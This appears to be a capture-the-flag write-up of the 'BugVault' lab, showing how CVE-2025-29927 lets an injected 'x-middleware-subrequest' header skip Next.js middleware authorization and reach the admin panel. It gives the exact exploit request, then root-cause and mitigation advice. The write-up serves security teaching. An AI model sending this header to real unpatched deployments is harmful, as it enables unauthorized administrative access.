Next.js Middleware Authorization Bypass (CVE-2025-29927) | BugVault
Lab Link
Lab: BugVault
Overview
BugVault is a bug bounty management platform that restricts administrative functionality behind a Next.js middleware authorization layer.
The challenge description repeatedly references CVE advisories, middleware guards, and the absence of any traditional privilege escalation path. These clues point directly toward a framework-level vulnerability rather than an application-specific authorization flaw.
Investigation revealed that the application was vulnerable to CVE-2025-29927, a critical Next.js middleware authorization bypass vulnerability that allows attackers to access protected routes by abusing an internal framework header.
Objective
Bypass the Next.js middleware authorization controls and gain access to the administrator area.
Vulnerability Identification
Classification Hierarchy
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OWASP Top 10:2025
└── A01 - Broken Access Control
└── Authorization Bypass
└── Next.js Middleware Bypass
└── CVE-2025-29927
Discovered Endpoints
During enumeration the following routes were discovered:
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/program
/leaderboard
/login
The robots file revealed additional restricted functionality.
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/admin
/api/
Reconnaissance
The challenge briefing immediately provided several useful clues:
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Next.js middleware guard
No admin account
No escalation path
You've been reading CVE advisories
The question is whether this deployment ever patched the one that matters
The repeated references to middleware and CVEs strongly suggested a known vulnerability within the Next.js framework itself.
Robots Discovery
Reviewing the robots file revealed hidden routes.
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GET /robots.txt
Response:
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User-agent: *
Disallow: /admin
Disallow: /api/
The administrative panel became the primary target.
Researching Next.js Middleware Vulnerabilities
Searching for recent Next.js authorization bypass vulnerabilities led to:
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CVE-2025-29927
Next.js Middleware Authorization Bypass
The vulnerability affects applications that rely exclusively on middleware for authentication or authorization enforcement.
Understanding the Vulnerability
Next.js internally uses the following header:
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x-middleware-subrequest
This header was originally designed to prevent recursive middleware execution.
Internally, middleware processing contains logic similar to:
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const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
If the middleware name appears within the header value, Next.js assumes the middleware has already executed and skips further authorization checks.
The flaw exists because external users can supply this header directly.
As a result, requests can bypass middleware protection entirely.
Exploitation
The protected administrative endpoint was requested.
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GET /admin
The request was intercepted using Burp Suite.
The following header was added:
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x-middleware-subrequest: pages/_admin
Modified request:
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GET /admin HTTP/2
Host: target
x-middleware-subrequest: pages/_admin
The request was then forwarded to the application.
Because the middleware execution was skipped, the authorization checks protecting the route never ran.
Proof of Exploitation
After forwarding the modified request, access to the administrator interface was granted.
No administrator credentials were required.
No privilege escalation was required.
No authentication bypass chain was required.
The middleware protection layer was bypassed entirely.
The administrative dashboard loaded successfully and exposed the challenge flag.
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WEBVERSE{REDACTED}
The challenge is successfully solved.
Root Cause Analysis
The application relied entirely on Next.js middleware to enforce authorization controls.
Due to CVE-2025-29927, attackers can supply the internal framework header:
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x-middleware-subrequest
and trick the framework into believing middleware execution has already occurred.
When this happens, protected routes are served directly without executing authorization logic.
The vulnerability originates from trust being placed in an attacker-controlled HTTP header that was intended only for internal framework communication.
Impact
Successful exploitation allows attackers to:
- Bypass authentication controls
- Bypass authorization checks
- Access protected routes
- Access administrative functionality
- Retrieve sensitive application data
- Fully compromise middleware-protected applications
In real-world deployments this can result in:
- Administrative account compromise
- Customer data exposure
- Internal API access
- Complete application takeover
Mitigation
Upgrade Next.js
Applications should be updated to a patched release that addresses CVE-2025-29927.
Do Not Rely Solely on Middleware
Middleware should act as an additional security layer rather than the sole authorization mechanism.
Critical authorization checks should also occur within the application logic itself.
Filter Internal Framework Headers
Block external requests containing:
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x-middleware-subrequest
at the reverse proxy or application gateway.
Defense in Depth
Sensitive routes should verify authorization independently.
Example:
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if (!session?.user?.isAdmin) {
return Response.redirect("/login");
}
Authorization decisions should never rely exclusively on middleware execution.
Real-World Insight
CVE-2025-29927 became one of the most significant framework vulnerabilities disclosed in the Next.js ecosystem because it affected applications that relied on middleware for access control.
Unlike many authentication bypass vulnerabilities, exploitation requires no credentials, no account compromise, and no privilege escalation chain. A single attacker-controlled HTTP header can completely disable middleware protections.
BugVault demonstrates an important lesson in modern web application security:
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Framework security features should never be the only layer protecting sensitive functionality.
Even when application code is secure, a framework-level vulnerability can instantly expose administrative interfaces if proper defense-in-depth controls are not implemented.